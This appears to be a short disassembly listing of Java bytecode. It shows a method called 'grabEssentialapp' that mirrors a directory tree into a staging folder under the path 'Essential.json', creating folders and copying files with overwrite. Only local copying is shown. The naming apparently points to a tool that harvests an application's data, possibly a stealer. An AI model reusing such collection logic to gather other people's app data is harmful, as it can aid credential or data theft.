0000bc49invokevirtual #300 // Method java/io/IOException.printStackTrace:()V
0000bc4creturn
0000bbe3
0000bbe3makslibraries.MaksLibraries::lambda$grabEssentialapp$35(java.lang.String, java.nio.file.Path):
0000bbe3new #110 // class java/lang/StringBuilder
0000bbe6dup
0000bbe7invokespecial #111 // Method java/lang/StringBuilder.<init>:()V
0000bbeagetstatic #311 // Field makslibraries/MaksLibraries.ilrFolderPath:Ljava/lang/String;
0000bbedinvokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000bbf0ldc_w #1497 // String "\\Essential.json"
0000bbf3invokevirtual #115 // Method java/lang/StringBuilder.append:(Ljava/lang/String;)Ljava/lang/StringBuilder;
0000bbf6invokevirtual #121 // Method java/lang/StringBuilder.toString:()Ljava/lang/String;
0000bbf9iconst_0
0000bbfaanewarray #91 // class java/lang/String
0000bbfdinvokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000bc00aload_0
0000bc01iconst_0
0000bc02anewarray #91 // class java/lang/String
0000bc05invokestatic #447 // Method java/nio/file/Paths.get:(Ljava/lang/String;[Ljava/lang/String;)Ljava/nio/file/Path;
0000bc08aload_1
0000bc09invokeinterface #1491 // Method java/nio/file/Path.relativize:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
0000bc0einvokeinterface #1493 // Method java/nio/file/Path.resolve:(Ljava/nio/file/Path;)Ljava/nio/file/Path;
0000bc13astore_2
0000bc14aload_1
0000bc15iconst_0
0000bc16anewarray #455 // class java/nio/file/LinkOption
0000bc19invokestatic #459 // Method java/nio/file/Files.isDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
0000bc1cifeq 81
0000bc1faload_2
0000bc20iconst_0
0000bc21anewarray #455 // class java/nio/file/LinkOption
0000bc24invokestatic #559 // Method java/nio/file/Files.exists:(Ljava/nio/file/Path;[Ljava/nio/file/LinkOption;)Z
0000bc27ifne 80
0000bc2aaload_2
0000bc2biconst_0
0000bc2canewarray #1499 // class java/nio/file/attribute/FileAttribute
0000bc2finvokestatic #1503 // Method java/nio/file/Files.createDirectory:(Ljava/nio/file/Path;[Ljava/nio/file/attribute/FileAttribute;)Ljava/nio/file/Path;
0000bc32pop
0000bc33return
0000bc34aload_1
0000bc35aload_2
0000bc36iconst_1
0000bc37anewarray #1111 // class java/nio/file/CopyOption
0000bc3adup
0000bc3biconst_0
0000bc3cgetstatic #1117 // Field java/nio/file/StandardCopyOption.REPLACE_EXISTING:Ljava/nio/file/StandardCopyOption;
0000bc3faastore
0000bc40invokestatic #1121 // Method java/nio/file/Files.copy:(Ljava/nio/file/Path;Ljava/nio/file/Path;[Ljava/nio/file/CopyOption;)Ljava/nio/file/Path;
0000bc43pop
0000bc44goto 105
0000bc47astore_2
0000bc48aload_2
0000bc49invokevirtual #300 // Method java/io/IOException.printStackTrace:()V
0000bc4creturn
0000bbe3
Loading..